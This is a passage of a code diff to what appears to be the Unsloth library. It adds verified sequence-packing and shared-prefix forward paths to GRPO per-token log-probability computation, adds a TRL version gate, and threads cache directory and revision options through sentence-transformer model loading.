+                    if _pg_unsafe is None:
+                        _pg_unsafe = set()
+                    if _pg_layout is not None and _pg_layout.signature not in _pg_unsafe:
+                        _pg_sig = _pg_layout.signature
+                        _pg_verified = getattr(
+                            unwrapped_model, "_unsloth_prefix_grouper_nograd_verified", None
+                        )
+                        if _pg_verified is None:
+                            _pg_verified = set()
+                        _pg_chunks = max(1, total_rows * multiplier)
+
+                        def _pg_run_forward(_pg_layout = _pg_layout, _pg_chunks = _pg_chunks):
+                            with _get_inference_mode_context_manager(model):
+                                with torch.amp.autocast(
+                                    device_type = "cuda", dtype = self._autocast_dtype
+                                ):
+                                    _pg_hidden = unwrapped_model(
+                                        input_ids = _pg_layout.flat_ids,
+                                        position_ids = _pg_layout.position_ids,
+                                        prefix_seg_info = _pg_layout.prefix_seg_info,
+                                        use_cache = False,
+                                    ).logits
+                                    _pg_r = _pg_layout.extract_logps(
+                                        _pg_hidden,
+                                        lm_head,
+                                        chunked_hidden_states_selective_log_softmax,
+                                        _pg_chunks,
+                                        logit_scale_multiply,
+                                        logit_scale_divide,
+                                        logit_softcapping,
+                                        temperature,
+                                    )
+                                    _pg_hidden = None  # release before any verify forward
+                            device_synchronize()
+                            # clip to the loss window [B, logits_to_keep+max_left_pad]
+                            _pg_w = logits_to_keep + max_left_pad
+                            if _pg_r.shape[1] > _pg_w:
+                                _pg_r = _pg_r[:, -_pg_w:]
+                            return _pg_r
+
+                        # trust only within the verified envelope: re-verify when T or the
+                        # longest segment grows, like the packed path
+                        _pg_T = int(_pg_layout.flat_ids.shape[1])
+                        _pg_maxseg = int(_pg_layout.position_ids.max()) + 1
+                        _pg_env = (
+                            _pg_verified.get(_pg_sig) if isinstance(_pg_verified, dict) else None
+                        )
+                        if (not _pg_verify_on()) or (
+                            _pg_env is not None and _pg_T <= _pg_env[0] and _pg_maxseg <= _pg_env[1]
+                        ):
+                            # trusted shape: run PG now and skip the full-row forward below
+                            _pg_result = _pg_run_forward()
+                            _pg_use = True
+                            _pg_skip_pk = True
+                        else:
+                            # unverified shape: defer the forward until the packed reference
+                            # exists (verify site below), so a declined packed path never wastes
+                            # a whole-batch PG forward
+                            _pg_forward_fn = _pg_run_forward
+                except Exception as _pg_err:
+                    _pg_result = None
+                    _pg_use = False
+                    _pg_skip_pk = False
+                    _pg_forward_fn = None
+                    # A FlexAttention/Triton compile failure or OOM here is GPU-wide, not
+                    # layout-specific, so retrying the same PG forward every step just re-pays
+                    # the failure. Persistently disable PG (mirrors the seq-packing handler
+                    # setting _unsloth_seq_packing_nograd_ok = False); the packed/padded path
+                    # below still produces the exact result.
+                    unwrapped_model._unsloth_prefix_grouper_nograd_disabled = True
+                    if isinstance(_pg_err, torch.cuda.OutOfMemoryError):
+                        torch.cuda.empty_cache()
+                    os.environ["UNSLOTH_RETURN_HIDDEN_STATES"] = "1"
+                    if UNSLOTH_ENABLE_LOGGING:
+                        print(
+                            f"[Unsloth] GRPO PrefixGrouper (no-grad) disabled (fell back to packed): {_pg_err!r}",
+                            flush = True,
+                        )
+
+            # ---- Sequence packing (default-on; disable with UNSLOTH_GRPO_SEQ_PACKING=0) ----
+            # One varlen [1, sum L] block-diagonal forward replaces the padded [B, Lmax] loop
+            # (exact per-row result; also fixes the padded path's left-pad RoPE error).
+            # Self-verified vs the per-row forward, re-checked as T grows; falls back if a
+            # backend ignores packed_seq_lengths. lm_head runs on completion positions only.
+            _pk_result = None
+            _pk_use = False
+            _pk_enabled = UNSLOTH_GRPO_SEQ_PACKING_ON
+            # Without zoo#840's masked-column guard, zeroed prompt/pad columns turn NaN in exp().
+            _pk_enabled = _pk_enabled and UNSLOTH_ZOO_HAS_MASKED_COL_GUARD
+            _pk_ok = getattr(unwrapped_model, "_unsloth_seq_packing_nograd_ok", None)
+            if (
+                _pk_enabled
+                and not _pg_skip_pk
+                and pixel_values is None
+                and token_type_ids is None
+                and mm_token_type_ids is None
+                and _pk_ok is not False
+            ):
+                try:
+                    _pk_pad = self.processing_class.pad_token_id
+                    _pk_keep = input_ids != _pk_pad
+                    _pk_len = _pk_keep.sum(dim = 1)
+                    _pk_len_cpu = _pk_len.tolist()  # single GPU->CPU sync, reused below
+                    _pk_nz_cpu = [_n for _n in _pk_len_cpu if _n > 0]
+                    _pk_flat = input_ids[_pk_keep].unsqueeze(0)
+                    _pk_T = _pk_flat.shape[1]
+                    _pk_L = input_ids.shape[1]
+                    _pk_W = logits_to_keep + max_left_pad
+                    _pk_maxseg = max(_pk_nz_cpu) if _pk_nz_cpu else 0
+                    # sliding-window models lose the per-sequence local window in a packed stream
+                    _pk_sw = getattr(
+                        getattr(unwrapped_model, "config", None), "sliding_window", None
+                    )
+                    _pk_sw_ok = not (isinstance(_pk_sw, int) and _pk_sw > 0 and _pk_maxseg > _pk_sw)
+                    # per-row completion mask (same as the loss); prompt-only rows count as inactive
+                    _pk_cmask = create_completion_attention_mask(
+                        input_ids[:, -_pk_W:], left_pad_tokens_per_prompt, max_left_pad, _pk_pad
+                    )
+                    _pk_active = int(_pk_cmask.any(dim = 1).sum())
+                    # skip the packed forward entirely at known-unsafe lengths (avoids a wasted pass / OOM)
+                    _pk_unsafe = getattr(
+                        unwrapped_model, "_unsloth_seq_packing_nograd_unsafe_T", None
+                    )
+                    # cap the flattened forward at one padded [batch_size, seq_len] mini-batch's
+                    # token budget; anything larger uses the chunked padded loop
+                    _pk_cap = batch_size * seq_len
+                    if (
+                        _pk_T >= 2
+                        and _pk_T <= _pk_cap
+                        and len(_pk_nz_cpu) > 0
+                        and _pk_sw_ok
+                        and not (_pk_unsafe is not None and _pk_T >= _pk_unsafe)
+                        and (_pk_ok is True or _pk_active >= 2)
+                    ):
+                        # reset 0-based position_ids per segment
+                        _pk_pos = (_pk_keep.cumsum(dim = 1) - 1)[_pk_keep].unsqueeze(0)
+                        _pk_chunks = max(1, total_rows * multiplier)
+                        _pk_nz_idx = _pk_keep.nonzero(
+                            as_tuple = False
+                        )  # [T, 2] = (row, col), row-major
+                        _pk_within = _pk_nz_idx[1:, 0] == _pk_nz_idx[:-1, 0]  # [T-1]
+                        # per-row completion start after left-packing (matches create_completion_attention_mask)
+                        _pk_cstart = (_pk_L - logits_to_keep) - left_pad_tokens_per_prompt  # [rows]
+                        _pk_ctgt = (_pk_nz_idx[1:, 1] >= _pk_cstart[_pk_nz_idx[1:, 0]]) & _pk_within
+                        with _get_inference_mode_context_manager(model):
+                            with torch.amp.autocast(device_type = "cuda", dtype = self._autocast_dtype):
+                                # use_cache=False: a KV cache silently disables varlen packing
+                                _pk_hidden = unwrapped_model(
+                                    input_ids = _pk_flat,
+                                    position_ids = _pk_pos,
+                                    packed_seq_lengths = torch.tensor(
+                                        _pk_nz_cpu, dtype = torch.int32, device = input_ids.device
+                                    ),
+                                    use_cache = False,
+                                ).logits
+                                _pk_sel = chunked_hidden_states_selective_log_softmax(
+                                    _pk_hidden[0, :-1, :][_pk_ctgt].unsqueeze(0),
+                                    lm_head,
+                                    _pk_flat[0, 1:][_pk_ctgt].unsqueeze(0),
+                                    _pk_chunks,
+                                    logit_scale_multiply,
+                                    logit_scale_divide,
+                                    logit_softcapping,
+                                    temperature,
+                                )[0]
+                        # GPT-OSS offload race guard (matches the padded loop)
+                        device_synchronize()
+                        # scatter each logprob back to its (row, col) so [:, -_pk_W:] matches padded
+                        _pk_tgt = (_pk_nz_idx[1:, 0] * _pk_L + _pk_nz_idx[1:, 1])[_pk_ctgt]
+                        _pk_result = (
+                            torch.zeros(
+                                total_rows * _pk_L,
+                                dtype = torch.float32,
+                                device = input_ids.device,
+                            )
+                            .index_put((_pk_tgt,), _pk_sel.to(torch.float32))
+                            .view(total_rows, _pk_L)[:, -_pk_W:]
+                        )
+                        # re-verify when T or the longest segment grows past what was verified
+                        # (a LongRoPE cache switch can change the result)
+                        _pk_vT = int(
+                            getattr(unwrapped_model, "_unsloth_seq_packing_nograd_verified_T", 0)
+                        )
+                        _pk_vS = int(
+                            getattr(unwrapped_model, "_unsloth_seq_packing_nograd_verified_seg", 0)
+                        )
+                        # debug: hand-edit this condition to force re-verify every step
+                        if _pk_ok is True and _pk_T <= _pk_vT and _pk_maxseg <= _pk_vS:
+                            _pk_use = True  # already verified for this shape
+                        else:
+                            # verify against the per-row forward (ground truth)
+                            _pk_ref = torch.zeros_like(_pk_result)
+                            with _get_inference_mode_context_manager(model):
+                                with torch.amp.autocast(
+                                    device_type = "cuda", dtype = self._autocast_dtype
+                                ):
+                                    for _pk_i in range(total_rows):
+                                        _pk_ni = _pk_len_cpu[_pk_i]
+                                        if _pk_ni < 2:
+                                            continue
+                                        _pk_rmask = _pk_keep[_pk_i]
+                                        _pk_real = input_ids[_pk_i][_pk_rmask].unsqueeze(0)
+                                        _pk_rpos = torch.arange(
+                                            _pk_ni, device = input_ids.device
+                                        ).unsqueeze(0)
+                                        _pk_rh = unwrapped_model(
+                                            input_ids = _pk_real,
+                                            position_ids = _pk_rpos,
+                                            use_cache = False,
+                                        ).logits
+                                        _pk_rsel = chunked_hidden_states_selective_log_softmax(
+                                            _pk_rh[:, :-1, :],
+                                            lm_head,
+                                            _pk_real[:, 1:],
+                                            1,
+                                            logit_scale_multiply,
+                                            logit_scale_divide,
+                                            logit_softcapping,
+                                            temperature,
+                                        )[0]
+                                        _pk_rcols = _pk_rmask.nonzero(as_tuple = False).squeeze(1)[
+                                            1:
+                                        ] - (_pk_L - _pk_W)
+                                        _pk_rkeep = _pk_rcols >= 0
+                                        _pk_ref[_pk_i, _pk_rcols[_pk_rkeep]] = _pk_rsel[
+                                            _pk_rkeep
+                                        ].to(torch.float32)
+                            device_synchronize()
+                            # compare over the loss-mask region only
+                            _pk_cm = _pk_cmask.float()
+                            _pk_diff = float(((_pk_result - _pk_ref).abs() * _pk_cm).max())
+                            if UNSLOTH_ENABLE_LOGGING:
+                                print(
+                                    f"[Unsloth] GRPO seq-packing (no-grad) verify: T={_pk_T} maxseg={_pk_maxseg} packed-vs-perrow max|d|={_pk_diff:.4f}",
+                                    flush = True,
+                                )
+                            # kernel-noise floor ~0.25; cross-sample contamination is >= 2.4
+                            if _pk_diff < 7e-1:
+                                unwrapped_model._unsloth_seq_packing_nograd_ok = True
+                                # widen the trusted shape only when >= 2 completion rows exercised
+                                # cross-sample packing; single-row passes prove nothing
+                                if _pk_active >= 2:
+                                    unwrapped_model._unsloth_seq_packing_nograd_verified_T = max(
+                                        _pk_vT, _pk_T
+                                    )
+                                    unwrapped_model._unsloth_seq_packing_nograd_verified_seg = max(
+                                        _pk_vS, _pk_maxseg
+                                    )
+                                _pk_ok = True
+                                _pk_use = True
+                            else:
+                                _pk_use = False
+                                if _pk_diff >= 1.5:
+                                    # contamination (attention ignores the packed mask): disable packing
+                                    unwrapped_model._unsloth_seq_packing_nograd_ok = False
+                                else:
+                                    # likely a length boundary (LongRoPE): mark unsafe, keep smaller shapes
+                                    unwrapped_model._unsloth_seq_packing_nograd_unsafe_T = (
+                                        _pk_T if _pk_unsafe is None else min(_pk_unsafe, _pk_T)
+                                    )
+                                if UNSLOTH_ENABLE_LOGGING:
+                                    print(
+                                        f"[Unsloth] GRPO seq-packing (no-grad) fell back at T={_pk_T} (diff={_pk_diff:.3f})",
+                                        flush = True,
+                                    )
+                except Exception as _pk_err:
+                    # any failure: drop intermediates, use the padded loop, do not retry
+                    _pk_hidden = None
+                    _pk_sel = None
+                    _pk_result = None
+                    _pk_use = False
+                    if isinstance(_pk_err, torch.cuda.OutOfMemoryError):
+                        torch.cuda.empty_cache()
+                    unwrapped_model._unsloth_seq_packing_nograd_ok = False
+                    if UNSLOTH_ENABLE_LOGGING:
+                        print(
+                            f"[Unsloth] GRPO sequence-packing (no-grad) disabled (fell back to padded): {_pk_err!r}",
+                            flush = True,
+                        )
+            # ---- PrefixGrouper first-use self-verify (no-grad) ----
+            # Compare the untrusted PG result to the full-row packed result (itself verified vs
+            # per-row) over the completion mask: < tol_ok -> trust the structure; >= TOL_KILL ->
+            # unsafe forever; borderline -> fall back this shape.
+            if _pg_forward_fn is not None and not _pg_use:
+                if _pk_use and _pk_result is not None:
+                    try:
+                        # deferred PG forward, run only now that the packed reference exists
+                        _pg_result = _pg_forward_fn()
+                        _pg_W2 = logits_to_keep + max_left_pad
+                        _pg_cm = create_completion_attention_mask(
+                            input_ids[:, -_pg_W2:],
+                            left_pad_tokens_per_prompt,
+                            max_left_pad,
+                            self.processing_class.pad_token_id,
+                        ).float()
+                        _pg_a = _pg_result[:, -_pg_W2:].float()
+                        _pg_b = _pk_result[:, -_pg_W2:].float()
+                        _pg_diff = float(((_pg_a - _pg_b).abs() * _pg_cm).max())
+                        if UNSLOTH_ENABLE_LOGGING:
+                            print(
+                                f"[Unsloth] GRPO PrefixGrouper (no-grad) verify: sig={_pg_layout.signature} "
+                                f"shared-prefix vs full-row-packed max|d|={_pg_diff:.4f}",
+                                flush = True,
+                            )
+                        if _pg_diff < _pg_tol_ok():
+                            _pg_v = getattr(
+                                unwrapped_model, "_unsloth_prefix_grouper_nograd_verified", None
+                            )
+                            if not isinstance(_pg_v, dict):
+                                _pg_v = {}
+                            _pg_vT = int(_pg_layout.flat_ids.shape[1])
+                            _pg_vS = int(_pg_layout.position_ids.max()) + 1
+                            _pg_old = _pg_v.get(_pg_layout.signature, (0, 0))
+                            _pg_v[_pg_layout.signature] = (
+                                max(_pg_vT, _pg_old[0]),
+                                max(_pg_vS, _pg_old[1]),
+                            )
+                            unwrapped_model._unsloth_prefix_grouper_nograd_verified = _pg_v
+                            _pg_use = True
+                        else:
+                            _pg_u = getattr(
+                                unwrapped_model, "_unsloth_prefix_grouper_nograd_unsafe", None
+                            )
+                            if _pg_u is None:
+                                _pg_u = set()
+                            if _pg_diff >= _PG_TOL_KILL:
+                                _pg_u.add(_pg_layout.signature)
+                                unwrapped_model._unsloth_prefix_grouper_nograd_unsafe = _pg_u
+                            _pg_use = False
+                    except Exception as _pg_err3:
+                        _pg_result = None
+                        _pg_use = False
+                        if isinstance(_pg_err3, torch.cuda.OutOfMemoryError):
+                            torch.cuda.empty_cache()
+                        os.environ["UNSLOTH_RETURN_HIDDEN_STATES"] = "1"
+                        if UNSLOTH_ENABLE_LOGGING:
+                            print(
+                                f"[Unsloth] GRPO PrefixGrouper (no-grad) verify failed (fell back to packed): {_pg_err3!r}",
+                                flush = True,
+                            )
+                # else: no packed reference (packing off/failed) -> cannot verify; fall back.
+
+            if _pg_use and _pg_result is not None:
+                logprobs = _pg_result  # PrefixGrouper verified/trusted -> skip the loop
+                zipped_inputs = []
+            elif _pk_use and _pk_result is not None:
+                logprobs = _pk_result  # verified -> skip the loop
+                zipped_inputs = []
+            else:
+                # free packed intermediates before running the padded loop
+                _pk_hidden = _pk_sel = _pk_result = _pk_ref = None
+
             with _get_inference_mode_context_manager(model):
                 for (
                     input_ids_chunk,
@@ -1377,7 +1942,7 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):
                         _extra_vision_kwargs["mm_token_type_ids"] = mm_token_type_ids_chunk
                     with torch.amp.autocast(device_type = "cuda", dtype = self._autocast_dtype):
                         if pixel_values is None:
-                            logits_chunk = unwrapped_model(
+                            outputs = unwrapped_model(
                                 input_ids = input_ids_chunk,
                                 attention_mask = attention_mask_chunk,
                                 pixel_values = pixel_values_chunk,
@@ -1385,7 +1950,10 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):
                                 pixel_attention_mask = pixel_attention_mask_chunk,
                                 image_sizes = image_sizes_chunk,
                                 **_extra_vision_kwargs,
-                            ).logits
+                            )
+
+                            logits_chunk = outputs.logits
+                            del outputs  # free hidden_states before chunked log-softmax
 
                             completion_input_ids_chunk = input_ids_chunk[
                                 :, -(logits_to_keep + max_left_pad) :
@@ -1407,7 +1975,7 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):
                         else:
                             # Essentially, for VLMs we do not go via the optimized path in models/,
                             # so we don't encounter the Flash Attn left-padding issue.
-                            logits_chunk = unwrapped_model(
+                            outputs = unwrapped_model(
                                 input_ids = input_ids_chunk,
                                 attention_mask = attention_mask_chunk,
                                 pixel_values = pixel_values_chunk,
@@ -1416,7 +1984,10 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):
                                 image_sizes = image_sizes_chunk,
                                 logits_to_keep = logits_to_keep + 1,
                                 **_extra_vision_kwargs,
-                            ).logits
+                            )
+
+                            logits_chunk = outputs.logits
+                            del outputs  # free hidden_states before chunked log-softmax
 
                             logits_chunk = logits_chunk[:, :-1, :]
                             completion_input_ids_chunk = input_ids_chunk[:, -logits_to_keep:]
@@ -1443,12 +2014,17 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):
                     # However, it seems that this line does not slow down or disrupt models.
                     device_synchronize()
                     all_logprobs_list.append(logprobs_chunk)
-                logprobs = torch.cat(all_logprobs_list, dim = 0)
+                if logprobs is None:  # padded fallback when packing was not used
+                    logprobs = torch.cat(all_logprobs_list, dim = 0)
+
                 entropies = None
 
             os.environ["UNSLOTH_RETURN_HIDDEN_STATES"] = "0"
-
-            return logprobs.detach(), entropies  # logps, entropies
+            # aux loss is unused: it is off by default (router_aux_loss_coef set to 0 in models/rl.py)
+            # and explicit opt-in is rejected at trainer init, so this is always None (kept in the
+            # return for TRL >= 1.7.0's 3-tuple contract).
+            aux_loss = None
+            return logprobs.detach(), entropies, aux_loss  # logps, entropies, aux_loss
             # input_ids = input_ids[:, -logits_to_keep:]
             # For transformers<=4.48, logits_to_keep argument isn't supported, so here we drop logits ourselves.
             # See https://github.com/huggingface/trl/issues/2770
@@ -1467,6 +2043,24 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):
             # return  logps #  compute logprobs for the input tokens
 
     function = inspect.getsource(_get_per_token_logps_and_entropies)
+    if trl_version < Version("1.7.0"):
+        # TRL < 1.7.0 unpacks (logps, entropies) at every call site; TRL >= 1.7.0
+        # always unpacks (logps, entropies, aux_loss). Drop the aux_loss element so
+        # the return arity matches the installed TRL. Regex tolerates comment /
+        # whitespace drift on the return line; fail loud if the anchor ever stops
+        # matching rather than silently shipping a 3-tuple to older TRL.
+        new_function, n = re.subn(
+            r"return (logprobs\.detach\(\), entropies), aux_loss[^\n]*",
+            r"return \1  # logps, entropies",
+            function,
+        )
+        if n != 1:
+            raise RuntimeError(
+                "Unsloth GRPO: could not downgrade the per-token-logps return to a "
+                f"2-tuple for TRL {trl_version} (matched {n} times, expected 1). The "
+                "return line changed; update the arity gate in rl_replacements.py."
+            )
+        function = new_function
     return function
 
 
@@ -1523,6 +2117,34 @@ RL_PRE_ITEMS["grpo_trainer"].append(inspect.getsource(grpo_accumulated_loss))
 RL_PRE_ITEMS["grpo_trainer"].append(grpo_compute_loss_slow)
 RL_PRE_ITEMS["grpo_trainer"].append(inspect.getsource(grpo_update_SamplingParams))
 RL_PRE_ITEMS["grpo_trainer"].append(inspect.getsource(_get_inference_mode_context_manager))
+# inspect.getsource inlines function bodies but not module imports, so constants the inlined
+# grpo functions reference (e.g. UNSLOTH_ENABLE_LOGGING) must be redefined in the generated cache.
+RL_PRE_ITEMS["grpo_trainer"].append(
+    "import os as _unsloth_os\n"
+    "UNSLOTH_ENABLE_LOGGING = _unsloth_os.environ.get('UNSLOTH_ENABLE_LOGGING', '0') in ('1', 'True', 'true')\n"
+)
+# Sequence-packing gates, same values as the module-top constants.
+RL_PRE_ITEMS["grpo_trainer"].append(
+    "UNSLOTH_GRPO_SEQ_PACKING_ON = _unsloth_os.environ.get('UNSLOTH_GRPO_SEQ_PACKING', '1').lower() not in ('0', 'false', 'no', 'off')\n"
+)
+RL_PRE_ITEMS["grpo_trainer"].append(
+    "try:\n"
+    "    import inspect as _unsloth_inspect\n"
+    "    from unsloth_zoo.rl_replacements import RL_REPLACEMENTS as _unsloth_zoo_RL\n"
+    "    UNSLOTH_ZOO_HAS_MASKED_COL_GUARD = 'torch.where(_keep, new' in _unsloth_inspect.getsource(_unsloth_zoo_RL['grpo_compute_loss'])\n"
+    "except Exception:\n"
+    "    UNSLOTH_ZOO_HAS_MASKED_COL_GUARD = False\n"
+)
+# PrefixGrouper gate, same shape as the module-top constants.
+RL_PRE_ITEMS["grpo_trainer"].append(
+    "_pg_build_layout = _pg_enabled_fn = _pg_verify_on = _pg_tol_ok = _PG_TOL_KILL = None\n"
+    "UNSLOTH_GRPO_PREFIX_GROUPER_ON = _unsloth_os.environ.get('UNSLOTH_GRPO_PREFIX_GROUPER', '1').lower() not in ('0', 'false', 'no', 'off')\n"
+    "if UNSLOTH_GRPO_PREFIX_GROUPER_ON:\n"
+    "    try:\n"
+    "        from unsloth.utils.prefix_grouper import build_group_layout as _pg_build_layout, prefix_grouper_enabled as _pg_enabled_fn, verify_on as _pg_verify_on, tol_ok as _pg_tol_ok, TOL_KILL as _PG_TOL_KILL\n"
+    "    except Exception:\n"
+    "        UNSLOTH_GRPO_PREFIX_GROUPER_ON = False\n"
+)
 
 
 # Edit _get_per_token_logps to handle mixed precision
@@ -1592,19 +2214,21 @@ def grpo_trainer_compute_loss(function_name, function):
             logits_to_keep,
             batch_size = None,
             compute_entropy = False,
-            compute_efficient = False: self._get_per_token_logps(
-                model, input_ids, attention_mask, logits_to_keep, compute_efficient
+            compute_efficient = False: (
+                self._get_per_token_logps(
+                    model, input_ids, attention_mask, logits_to_keep, compute_efficient
+                )
+                if hasattr(self, "_get_per_token_logps")
+                else self._get_per_token_logps_and_entropies(
+                    model,
+                    input_ids,
+                    attention_mask,
+                    logits_to_keep,
+                    batch_size,
+                    compute_entropy,
+                    compute_efficient,
+                )[0]
             )
-            if hasattr(self, "_get_per_token_logps")
-            else self._get_per_token_logps_and_entropies(
-                model,
-                input_ids,
-                attention_mask,
-                logits_to_keep,
-                batch_size,
-                compute_entropy,
-                compute_efficient,
-            )[0]
         )  # logps
 
         per_token_logps = get_logps_func(
diff --git a/unsloth/models/sentence_transformer.py b/unsloth/models/sentence_transformer.py
index a276b8c118..2fd29be26b 100644
--- a/unsloth/models/sentence_transformer.py
+++ b/unsloth/models/sentence_transformer.py
@@ -19,6 +19,7 @@ from ._utils import (
     SUPPORTS_BFLOAT16,
     resolve_model_class,
     resolve_encoder_attention_implementation,
+    maybe_prefetch_hf_snapshot,
 )
 import inspect
 import json
@@ -541,7 +542,12 @@ class FastSentenceTransformer(FastModel):
         return transformer_module
 
     @staticmethod
-    def _read_pooling_mode(model_name, token):
+    def _read_pooling_mode(
+        model_name,
+        token,
+        cache_dir = None,
+        revision = None,
+    ):
         """Read the pooling mode from modules.json, else return "mean"."""
         try:
             if os.path.exists(model_name) and os.path.exists(
@@ -549,7 +555,13 @@ class FastSentenceTransformer(FastModel):
             ):
                 modules_json_path = os.path.join(model_name, "modules.json")
             else:
-                modules_json_path = hf_hub_download(model_name, "modules.json", token = token)
+                modules_json_path = hf_hub_download(
+                    model_name,
+                    "modules.json",
+                    token = token,
+                    cache_dir = cache_dir,
+                    revision = revision,
+                )
 
             with open(modules_json_path, "r", encoding = "utf-8") as f:
                 modules_config = json.load(f)
@@ -571,6 +583,8 @@ class FastSentenceTransformer(FastModel):
                                 model_name,
                                 os.path.join(pooling_path, "config.json"),
                                 token = token,
+                                cache_dir = cache_dir,
+                                revision = revision,
                             )
                         break
 
@@ -950,7 +964,12 @@ class FastSentenceTransformer(FastModel):
             f.write(content)
 
     @staticmethod
-    def _module_path(model_name, token = None):
+    def _module_path(
+        model_name,
+        token = None,
+        cache_dir = None,
+        revision = None,
+    ):
         """Return the path to the modules.json file, or None."""
         try:
             if os.path.exists(model_name) and os.path.isdir(model_name):
@@ -958,14 +977,30 @@ class FastSentenceTransformer(FastModel):
                 return path if os.path.exists(path) else None
             else:
                 try:
-                    return hf_hub_download(model_name, "modules.json", token = token)
+                    return hf_hub_download(
+                        model_name,
+                        "modules.json",
+                        token = token,
+                        cache_dir = cache_dir,
+                        revision = revision,
+                    )
                 except:
                     return None
         except:
             return None
 
     @staticmethod
-    def _create_transformer_module(model_name, model, tokenizer, max_seq_length, trust_remote_code):
+    def _create_transformer_module(
+        model_name,
+        model,
+        tokenizer,
+        max_seq_length,
+        trust_remote_code,
+        token = None,
+        cache_dir = None,
+        revision = None,
+        module_subfolder = "",
+    ):
         """Helper to create and configure a Transformer module."""
         from sentence_transformers.models import Transformer
 
@@ -1052,7 +1087,45 @@ class FastSentenceTransformer(FastModel):
                 elif "tokenizer_args" in transformer_init_params:
                     transformer_kwargs["tokenizer_args"] = trust_remote_code_kwargs.copy()
 
-                transformer_module = Transformer(model_name, **transformer_kwargs)
+                # Build via Transformer.load so the saved modality_config is honored: plain
+                # Transformer(...) makes ST 5.x infer a "message" modality for chat-template
+                # models (e.g. Qwen3-Embedding), chat-wrapping inputs and degrading embeddings
+                # (#6881). Only use .load when it resolves a Hub id (accepts the kwargs or
+                # **kwargs); legacy ST 3.x/4.x load(input_path) is local-only with no modality
+                # bug, so fall back to the constructor.
+                transformer_module = None
+                transformer_load = getattr(Transformer, "load", None)
+                has_modules_json = (
+                    FastSentenceTransformer._module_path(
+                        model_name, token, cache_dir = cache_dir, revision = revision
+                    )
+                    is not None
+                )
+                if callable(transformer_load) and has_modules_json:
+                    load_params = inspect.signature(transformer_load).parameters
+                    accepts_var_kw = any(
+                        p.kind is inspect.Parameter.VAR_KEYWORD for p in load_params.values()
+                    )
+                    hub_capable = accepts_var_kw or any(
+                        key in load_params for key in ("token", "cache_folder", "revision")
+                    )
+                    if hub_capable:
+                        load_kwargs = {
+                            "token": token,
+                            "cache_folder": cache_dir,
+                            "revision": revision,
+                            "trust_remote_code": trust_remote_code,
+                            **transformer_kwargs,
+                        }
+                        # Resolve config/tokenizer from the module's saved subfolder
+                        # (modules.json "path"), like stock ST; "" (root) is a no-op.
+                        if module_subfolder:
+                            load_kwargs["subfolder"] = module_subfolder
+                        if not accepts_var_kw:
+                            load_kwargs = {k: v for k, v in load_kwargs.items() if k in load_params}
+                        transformer_module = Transformer.load(model_name, **load_kwargs)
+                if transformer_module is None:
+                    transformer_module = Transformer(model_name, **transformer_kwargs)
             finally:
                 # Restore original Auto* loading immediately
                 AutoModel.from_pretrained = original_model_from_pretrained
@@ -1135,6 +1208,8 @@ class FastSentenceTransformer(FastModel):
         max_seq_length,
         pooling_mode,
         trust_remote_code = False,
+        cache_dir = None,
+        revision = None,
     ) -> tuple[OrderedDict, bool]:
         """Load modules from modules.json, else fall back to hard-coded modules.
 
@@ -1145,7 +1220,9 @@ class FastSentenceTransformer(FastModel):
         from sentence_transformers.models import Pooling, Normalize
 
         modules = OrderedDict()
-        modules_json_path = FastSentenceTransformer._module_path(model_name, token)
+        modules_json_path = FastSentenceTransformer._module_path(
+            model_name, token, cache_dir = cache_dir, revision = revision
+        )
 
         if modules_json_path:
             with open(modules_json_path, encoding = "utf8") as f:
@@ -1162,6 +1239,10 @@ class FastSentenceTransformer(FastModel):
                         tokenizer,
                         max_seq_length,
                         trust_remote_code,
+                        token,
+                        cache_dir,
+                        revision,
+                        module_subfolder = module_config.get("path") or "",
                     )
                     modules[name] = transformer_module
                 else:
@@ -1171,7 +1252,13 @@ class FastSentenceTransformer(FastModel):
                         load_path = os.path.join(model_name, module_path)
                     else:
                         try:
-                            load_path = load_dir_path(model_name, module_path, token = token)
+                            load_path = load_dir_path(
+                                model_name,
+                                module_path,
+                                token = token,
+                                cache_folder = cache_dir,
+                                revision = revision,
+                            )
                         except Exception as e:
                             print(f"Unsloth Warning: Could not download module {module_path}: {e}")
                             continue
@@ -1191,14 +1278,23 @@ class FastSentenceTransformer(FastModel):
         )
 
         transformer_module = FastSentenceTransformer._create_transformer_module(
-            model_name, model, tokenizer, max_seq_length, trust_remote_code
+            model_name,
+            model,
+            tokenizer,
+            max_seq_length,
+            trust_remote_code,
+            token,
+            cache_dir,
+            revision,
         )
         modules["0"] = transformer_module
 
         hidden_size = getattr(model.config, "hidden_size", 768)
 
         if pooling_mode == "mean":
-            pooling_mode = FastSentenceTransformer._read_pooling_mode(model_name, token)
+            pooling_mode = FastSentenceTransformer._read_pooling_mode(
+                model_name, token, cache_dir = cache_dir, revision = revision
+            )
 
         modules["1"] = Pooling(word_embedding_dimension = hidden_size, pooling_mode = pooling_mode)
         modules["2"] = Normalize()
@@ -1386,6 +1482,45 @@ class FastSentenceTransformer(FastModel):
                 "Run `pip install sentence-transformers` to install it."
             )
 
+        # Validate the load modes BEFORE the prefetch so a bad config fails without downloading weights.
+        # Guard on not for_inference: that branch below never used these flags.
+        if not for_inference:
+            # sanity check, thanks Etherl:
+            if full_finetuning and (load_in_4bit or load_in_8bit):
+                print(
+                    "Unsloth: You selected full finetuning support, but 4bit / 8bit is enabled - disabling LoRA / QLoRA."
+                )
+                load_in_4bit = False
+                load_in_8bit = False
+                load_in_fp8 = False
+                load_in_16bit = False
+
+            if int(load_in_4bit) + int(load_in_8bit) + int(load_in_16bit) >= 2:
+                raise RuntimeError(
+                    "Unsloth: Can only load in 4bit or 8bit or 16bit, not a combination!\n"
+                    "Also, we by default set `load_in_16bit = True`.\n"
+                    "If you want 4bit LoRA finetuning, set `load_in_16bit = False` and `load_in_4bit = True`\n"
+                    "If you want 8bit finetuning, set both `load_in_16bit = False` and `load_in_8bit = True`"
+                )
+
+        # Prefetch so the ST load below is a cache hit. weights_at_root stays False (ST component
+        # weights live in per-module subfolders). Resolve the same cache the load uses: HF cache_dir,
+        # else cache_folder, else SENTENCE_TRANSFORMERS_HOME, else default -- a wrong cache misses the warm.
+        _st_prefetched = maybe_prefetch_hf_snapshot(
+            model_name,
+            token = token,
+            revision = revision,
+            cache_dir = kwargs.get("cache_dir")
+            or kwargs.get("cache_folder")
+            or os.environ.get("SENTENCE_TRANSFORMERS_HOME"),
